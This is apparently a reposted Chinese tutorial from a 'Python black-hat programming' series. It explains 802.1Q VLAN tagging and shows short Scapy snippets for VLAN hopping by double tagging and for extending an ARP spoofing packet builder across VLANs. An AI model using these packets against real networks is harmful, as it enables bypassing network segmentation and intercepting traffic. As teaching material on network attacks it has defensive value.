Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
用Python的Flask框架结合MySQL写一个内存监控程序
Nov 07 Python
Python selenium文件上传方法汇总
Nov 19 Python
利用Python中unittest实现简单的单元测试实例详解
Jan 09 Python
5款非常棒的Python工具
Jan 05 Python
django传值给模板, 再用JS接收并进行操作的实例
May 28 Python
Python正则表达式和re库知识点总结
Feb 11 Python
python绘制评估优化算法性能的测试函数
Jun 25 Python
python执行scp命令拷贝文件及文件夹到远程主机的目录方法
Jul 08 Python
python实现将json多行数据传入到mysql中使用
Dec 31 Python
python实现批量修改文件名
Mar 23 Python
使用Django实现商城验证码模块的方法
Jun 01 Python
Python matplotlib多个子图绘制整合
Apr 13 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
php中require和require_once的区别说明
2014/02/27 PHP
使用array_map简单搞定PHP删除文件、删除目录
2014/10/29 PHP
php递归json类实例
2014/12/02 PHP
Zend Framework教程之分发器Zend_Controller_Dispatcher用法详解
2016/03/07 PHP
php脚本守护进程原理与实现方法详解
2017/07/20 PHP
PHP INT类型在内存中占字节详解
2019/07/20 PHP
tp5.1 框架数据库-数据集操作实例分析
2020/05/26 PHP
广告显示判断
2006/08/31 Javascript
类似php的js数组的in_array函数自定义方法
2013/12/27 Javascript
学习JavaScript设计模式(链式调用)
2015/11/26 Javascript
JS动态给对象添加事件的简单方法
2016/07/19 Javascript
原生js实现无限循环轮播图效果
2017/01/20 Javascript
详解使用webpack构建多页面应用
2017/12/21 Javascript
Vue打包后出现一些map文件的解决方法
2018/02/13 Javascript
微信小程序实现横向增长表格的方法
2018/07/24 Javascript
谈一谈vue请求数据放在created好还是mounted里好
2020/07/27 Javascript
[01:23]一分钟告诉你 DOTA2为什么叫信仰2
2014/06/20 DOTA
python实现dnspod自动更新dns解析的方法
2014/02/14 Python
Python3.2中Print函数用法实例详解
2015/05/19 Python
全面理解Python中self的用法
2016/06/04 Python
Python 支付整合开发包的实现
2019/01/23 Python
Pandas之DataFrame对象的列和索引之间的转化
2019/06/25 Python
Python中如何将一个类方法变为多个方法
2019/12/30 Python
Python实现隐马尔可夫模型的前向后向算法的示例代码
2019/12/31 Python
python实现在线翻译功能
2020/03/03 Python
Python 解析库json及jsonpath pickle的实现
2020/08/17 Python
JINS眼镜官方网站:日本最大的眼镜邮购
2016/10/14 全球购物
天巡全球:Skyscanner Global
2017/06/20 全球购物
舒适的豪华鞋:Taryn Rose
2018/05/03 全球购物
AutoShack.com加拿大:北美主要的汽车零部件零售商
2019/07/24 全球购物
老公保证书范文
2014/04/29 职场文书
出资证明书范本(标准版)
2014/09/24 职场文书
父母教会我观后感
2015/06/17 职场文书
呐喊读书笔记
2015/06/30 职场文书
2016年“6.26”禁毒宣传月系列活动总结
2016/04/05 职场文书
《时代广场的蟋蟀》读后感:真挚友情,温暖世界!
2020/01/08 职场文书